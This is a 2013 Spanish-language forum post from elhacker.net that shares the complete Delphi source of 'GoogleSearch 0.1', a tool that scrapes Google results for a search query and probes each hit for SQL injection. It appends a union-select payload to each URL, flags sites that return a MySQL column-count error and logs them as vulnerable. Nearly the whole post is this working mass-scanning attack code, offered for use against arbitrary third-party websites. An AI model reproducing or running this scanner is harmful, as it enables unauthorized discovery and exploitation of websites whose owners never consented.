elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] GoogleSearch 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] GoogleSearch 0.1  (Leído 1,505 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] GoogleSearch 0.1
« en: 7 Junio 2013, 18:29 pm »

Un simple programa para buscar paginas vulnerables a SQLI usando Google.

Una imagen :



El codigo  :

Código
  1. // Google Search 0.1
  2. // Coded By Doddy H
  3.  
  4. unit goo;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, sButton, sSkinManager, IdURI, sMemo, PerlRegEx,
  11.  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, jpeg,
  12.  ExtCtrls, sEdit, sLabel, sGroupBox, sListBox, ComCtrls, sStatusBar, ShellApi,
  13.  IdContext, IdCmdTCPClient;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    sSkinManager1: TsSkinManager;
  18.    IdHTTP1: TIdHTTP;
  19.    PerlRegEx1: TPerlRegEx;
  20.    PerlRegEx2: TPerlRegEx;
  21.    Image1: TImage;
  22.    sGroupBox1: TsGroupBox;
  23.    sLabel1: TsLabel;
  24.    sLabel2: TsLabel;
  25.    sEdit1: TsEdit;
  26.    sEdit2: TsEdit;
  27.    sGroupBox2: TsGroupBox;
  28.    sListBox1: TsListBox;
  29.    sGroupBox3: TsGroupBox;
  30.    sGroupBox4: TsGroupBox;
  31.    sListBox2: TsListBox;
  32.    sStatusBar1: TsStatusBar;
  33.    sButton1: TsButton;
  34.    sButton2: TsButton;
  35.    sButton3: TsButton;
  36.    sButton4: TsButton;
  37.    PerlRegEx3: TPerlRegEx;
  38.    procedure sButton1Click(Sender: TObject);
  39.    procedure FormCreate(Sender: TObject);
  40.    procedure sListBox1DblClick(Sender: TObject);
  41.    procedure sListBox2DblClick(Sender: TObject);
  42.    procedure sButton4Click(Sender: TObject);
  43.    procedure sButton3Click(Sender: TObject);
  44.    procedure sButton2Click(Sender: TObject);
  45.  
  46.  private
  47.    { Private declarations }
  48.  public
  49.    { Public declarations }
  50.  end;
  51.  
  52. var
  53.  Form1: TForm1;
  54.  
  55. implementation
  56.  
  57. {$R *.dfm}
  58.  
  59. procedure savefile(filename, texto: string);
  60. var
  61.  ar: TextFile;
  62.  
  63. begin
  64.  
  65.  AssignFile(ar, filename);
  66.  FileMode := fmOpenWrite;
  67.  
  68.  if FileExists(filename) then
  69.    Append(ar)
  70.  else
  71.    Rewrite(ar);
  72.  
  73.  Writeln(ar, texto);
  74.  CloseFile(ar);
  75.  
  76. end;
  77.  
  78. procedure TForm1.FormCreate(Sender: TObject);
  79. var
  80.  dir: string;
  81. begin
  82.  
  83.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  84.  sSkinManager1.SkinName := 'falloutstyle';
  85.  sSkinManager1.Active := True;
  86.  
  87.  dir := ExtractFilePath(Application.ExeName) + '/logs';
  88.  
  89.  if not(DirectoryExists(dir)) then
  90.  begin
  91.    CreateDir(dir);
  92.  end;
  93.  
  94.  ChDir(dir);
  95.  
  96. end;
  97.  
  98. procedure TForm1.sButton1Click(Sender: TObject);
  99. var
  100.  code: string;
  101.  link1: string;
  102.  link2: string;
  103.  linkfinal: string;
  104.  z: integer;
  105.  i: integer;
  106.  ii: integer;
  107.  target: string;
  108.  linkfinalfinal: string;
  109.  chau: TStringList;
  110.  
  111. begin
  112.  
  113.  target := StringReplace(sEdit1.text, ' ', '+', []);
  114.  
  115.  sListBox1.Items.Clear;
  116.  
  117.  for i := 1 to StrToInt(sEdit2.text) do
  118.  begin
  119.    ii := i * 10;
  120.  
  121.    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
  122.    Form1.sStatusBar1.Update;
  123.  
  124.    code := IdHTTP1.Get('http://www.google.com/search?hl=&q=' + target +
  125.        '&start=' + IntToStr(ii));
  126.  
  127.    PerlRegEx1.Regex := '(?<="r"><. href=")(.+?)"';
  128.    PerlRegEx1.Subject := code;
  129.  
  130.    while PerlRegEx1.MatchAgain do
  131.    begin
  132.      for z := 1 to PerlRegEx1.SubExpressionCount do
  133.  
  134.        link1 := PerlRegEx1.SubExpressions[z];
  135.  
  136.      PerlRegEx2.Regex := '\/url\?q\=(.*?)\&amp\;';
  137.      PerlRegEx2.Subject := link1;
  138.  
  139.      if PerlRegEx2.Match then
  140.      begin
  141.        link2 := PerlRegEx2.SubExpressions[1];
  142.        linkfinal := TIdURI.URLDecode(link2);
  143.        sListBox1.Update;
  144.  
  145.        PerlRegEx3.Regex := '(.*?)=(.*?)';
  146.  
  147.        PerlRegEx3.Subject := linkfinal;
  148.  
  149.        if PerlRegEx3.Match then
  150.        begin
  151.          linkfinalfinal := PerlRegEx3.SubExpressions[1] + '=';
  152.          sListBox1.Items.Add(linkfinalfinal);
  153.        end;
  154.  
  155.      end;
  156.    end;
  157.  end;
  158.  
  159.  chau := TStringList.Create;
  160.  
  161.  chau.Duplicates := dupIgnore;
  162.  chau.Sorted := True;
  163.  chau.Assign(sListBox1.Items);
  164.  sListBox1.Items.Clear;
  165.  sListBox1.Items.Assign(chau);
  166.  
  167.  for i := sListBox1.Items.Count - 1 downto 0 do
  168.  begin
  169.    savefile('google-search.txt', sListBox1.Items[i]);
  170.  end;
  171.  
  172.  sStatusBar1.Panels[0].text := '[+] Done';
  173.  Form1.sStatusBar1.Update;
  174.  
  175. end;
  176.  
  177. procedure TForm1.sButton2Click(Sender: TObject);
  178. var
  179.  i: integer;
  180.  code: string;
  181.  
  182. begin
  183.  
  184.  sListBox2.Items.Clear;
  185.  
  186.  sStatusBar1.Panels[0].text := '[+] Loading ...';
  187.  Form1.sStatusBar1.Update;
  188.  
  189.  for i := sListBox1.Items.Count - 1 downto 0 do
  190.  begin
  191.    try
  192.      begin
  193.  
  194.        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
  195.        Form1.sStatusBar1.Update;
  196.        sListBox2.Update;
  197.  
  198.        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');
  199.  
  200.        PerlRegEx1.Regex :=
  201.          'The used SELECT statements have a different number of columns';
  202.        PerlRegEx1.Subject := code;
  203.  
  204.        if PerlRegEx1.Match then
  205.        begin
  206.          sListBox2.Items.Add(sListBox1.Items[i]);
  207.          savefile('sqli-founds.txt', sListBox1.Items[i]);
  208.        end;
  209.  
  210.      end;
  211.    except
  212.      on E: EIdHttpProtocolException do
  213.        ;
  214.      on E: Exception do
  215.        ;
  216.    end;
  217.  
  218.    sStatusBar1.Panels[0].text := '[+] Done';
  219.    Form1.sStatusBar1.Update;
  220.  
  221.  end;
  222.  
  223. end;
  224.  
  225. procedure TForm1.sButton3Click(Sender: TObject);
  226. begin
  227.  ShowMessage('Contact to lepuke[at]hotmail[com]');
  228. end;
  229.  
  230. procedure TForm1.sButton4Click(Sender: TObject);
  231. begin
  232.  Form1.Close();
  233. end;
  234.  
  235. procedure TForm1.sListBox1DblClick(Sender: TObject);
  236. begin
  237.  ShellExecute(Handle, 'open', 'google-search.txt', nil, nil, SW_SHOWNORMAL);
  238. end;
  239.  
  240. procedure TForm1.sListBox2DblClick(Sender: TObject);
  241. begin
  242.  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
  243. end;
  244.  
  245. end.
  246.  
  247. // The End ?
  248.  

Si quieren bajar el programa lo pueden hacer de aca.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,511 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines